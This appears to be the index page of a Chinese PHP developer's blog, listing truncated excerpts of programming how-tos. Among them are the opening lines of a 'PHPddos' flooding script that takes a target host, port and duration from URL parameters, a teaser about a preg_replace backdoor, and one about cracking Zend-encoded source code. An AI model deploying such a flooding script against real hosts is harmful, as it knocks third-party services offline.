Alex的博客

本博客的文章均为原创,是本人从事行业多年来所遇见一些小问题的解决心得,希望可以帮助到大家!



CI 配置多后台

1、 在application目录下新建子目录admin,

config

controllers

core

libraries

models

views

把上面的6个文件夹复制到admin下。

 

阅读全文>>

Alex于2015-2-4 9:55 Wednesday  已有988次浏览 0条评论

利用preg_replace隐藏后门(copy)

php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码。
 
事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。
 
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的P...

阅读全文>>

Alex于2014-4-24 15:55 Thursday  已有1150次浏览 0条评论

ZendOptimizer 加密破解(phpweb破解)

昨天一个朋友说帮他仿一个婚庆网站,我记得我这里好像有几套婚庆网站的源码于是就翻出来看一下。

结果传到服务器上去报错了。报错如下:

Fatal error: Incompatible file format: The encoded file has format major ID 1,

然后网上说是因为zend加密版本的问题。

因为这个程序是基于php5.2之前的版本写的,然后加...

阅读全文>>

Alex于2014-4-24 12:52 Thursday  已有5681次浏览 4条评论

php dos编程exec 注意事项

用exec函数的时候运行命令部分需要填写windows命令的完整路径,之前做一个监听端口然后把接受到的字符串通过msg 命令来弹出窗口的程序开始死活弹不出消息框,折腾了好久终于找到问题了,当以php运行命令的时候所使用到的环境变量好像是不一样了,system32里面 明明有msg.exe 但是运行就是死活找不到这个文件说不是内部或外部命令,最后在里面 dir /s 终于找到了一个路径为C:\Wi...

阅读全文>>

Alex于2013-12-11 16:54 Wednesday  已有1088次浏览 0条评论

MySQL复制表结构 表数据sql语句总结(Copy)

在mysql中复制表有很多种方法,如有create select from或者insert into select from及有选择性的insert into(a,b,c) select a,b,c from这些基本可以完成我们的操作了,下面我来总结一下mysql复制表语句。


复制整个表

 代码如下
create table new_table select * from ...

阅读全文>>

Alex于2013-11-26 0:11 Tuesday  已有1219次浏览 0条评论

解决input只读后值丢失的解决方案

让input表单只读的几种方法:

一,使用  disabled

<input type="text" name="input" value="free" disabled="disabled"> 

使用后默认值free会丢失


二,onfocus=this.blur()
<input type="text" name="input" va...

阅读全文>>

Alex于2013-11-23 0:10 Saturday  已有1335次浏览 0条评论

php dos下获取标准输入

<?php 
//提示输入
fwrite(STDOUT, "Enter your name: "); 

//接受输入 
$name = trim(fgets(STDIN)); 

// 打印输入结果
fwrite(STDOUT, "Hello, $name!"); 
?> 

阅读全文>>

Alex于2013-11-19 23:47 Tuesday  已有2022次浏览 0条评论

PHP计算百分比(%)

要用到四舍五入函数round();
示例:
$hhl=round(($hh/$totalpj)*100).’%';//好评率
$lhl=round(($lh/$totalpj)*100).’%';//良好率
$ybl=round(($yb/$totalpj)*100).’%';//一般率
$cl=round(($c/$totalpj)*100).’%';//差率
$hcl=round(($...

阅读全文>>

Alex于2013-7-11 21:18 Thursday  已有1773次浏览 0条评论

PHPddos代码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen(...

阅读全文>>

Alex于2013-7-5 19:02 Friday  已有1665次浏览 0条评论

php实现验证码的识别(初级篇)(转载)

原文地址:http://blog.csdn.net/ugg/article/details/3953137
但是原文的介绍比较简单,而且没提到算法的具体实现过程。
所以本文以一个实际例子来演示php识别验证码的过程,并提交验证码到服务器验证。

第一部分:验证码的识别

近期研究一些突破验证码方面的知识,记录下来。一方面算是对这几天学习知识的总结帮助自己理解;另一方面希望对研究这方面的技术同学有所帮...

阅读全文>>

Alex于2013-7-2 23:21 Tuesday  已有1256次浏览 0条评论

相似图片搜索的php实现(转载)

前几天看到阮一峰的博客里写到关于相似图片搜索的原理, 里面介绍了Google相似图片搜索的大致原理,主要是从Neal Krawetz博士的LOOKS LIKE IT翻译而来。文章详细的介绍了相似图片搜索处理的相关步骤,并且给出了一个python的实现,由于我对PHP比较熟,所以写了个PHP的版本。

图片相似搜索的简单原理

根据文章里的描述,其实原理比较简单,大致有如下几个步骤:

1、缩小尺寸。将图片缩小...

阅读全文>>

Alex于2013-7-2 23:20 Tuesday  已有1403次浏览 0条评论

php生成excel文件

一、php,不用COM,生成excel文件

<?
header("Content-type:application/vnd.ms-excel");
header("Content-Disposition:filename=test.xls");
echo "test1\t";
echo "test2\t\n";
echo "test1\t";
echo ...

阅读全文>>

Alex于2013-5-24 0:33 Friday  已有1344次浏览 0条评论

php+mssql+apache报错 Call to undefined function mssql_connect()错误解决

同事用php+mssql修改一个系统,却一直配置不了环境。遂做了一个测试,一般情况下我们会注意php.ini的文件配置,而不注意IIS或者Apache的相关事项。

PHP+MSSQL Call to undefined function mssql_connect() 错误解决:

如果服务器端没有安装MSSQL 即使去掉EXTENTION中的 mssql.dll也会提示此错误。

解决办法:

1.打开php...

阅读全文>>

Alex于2013-5-23 19:27 Thursday  已有1999次浏览 0条评论

php连接mssql

 为了能让PHP连接MSSQL,系统需要安装MSSQL,PHP,且在PHP.ini中的配置中,将
;extension=php_mssql.dll前面的;去掉

1.连接MSSQL
$conn=mssql_connect("实例名或者服务器IP","用户名","密码");

//测试连接
if($conn)
{
echo "连接成功";
}

2.选择要连接的数据库
...

阅读全文>>

Alex于2013-5-23 17:21 Thursday  已有1506次浏览 0条评论

php session 详解

http协议是WEB服务器与客户端(浏览器)相互通信的协议,它是一种无状态协议。所谓无状态,指的是不会维护http请求数据,http请求是独立的,不持久的。而越来越复杂的WEB应用,需要保存一些用户状态信息。这时候,Session这种方案应需而生。PHP从4.1开始支持Session管理。

session是很抽象的一个概念。我们不妨先从与它几个息息相关的有迹可寻的小切入点入手,然后逐渐地认识了解它。

...

阅读全文>>

Alex于2013-5-16 0:53 Thursday  已有1941次浏览 0条评论

cmd下运行php脚本

我的php安装目录在 d:\php
那么 运行
cmd
>d:
>cd php
要让工作目录指向php.exe的安装文件夹
然后就可以用php指令了
比如 在该文件夹下面新建一个test.php
<?php echo "test";?>
>php test.php
看运行成功了吧。

 

阅读全文>>

Alex于2013-5-1 16:57 Wednesday  已有1589次浏览 0条评论
1 2 3 4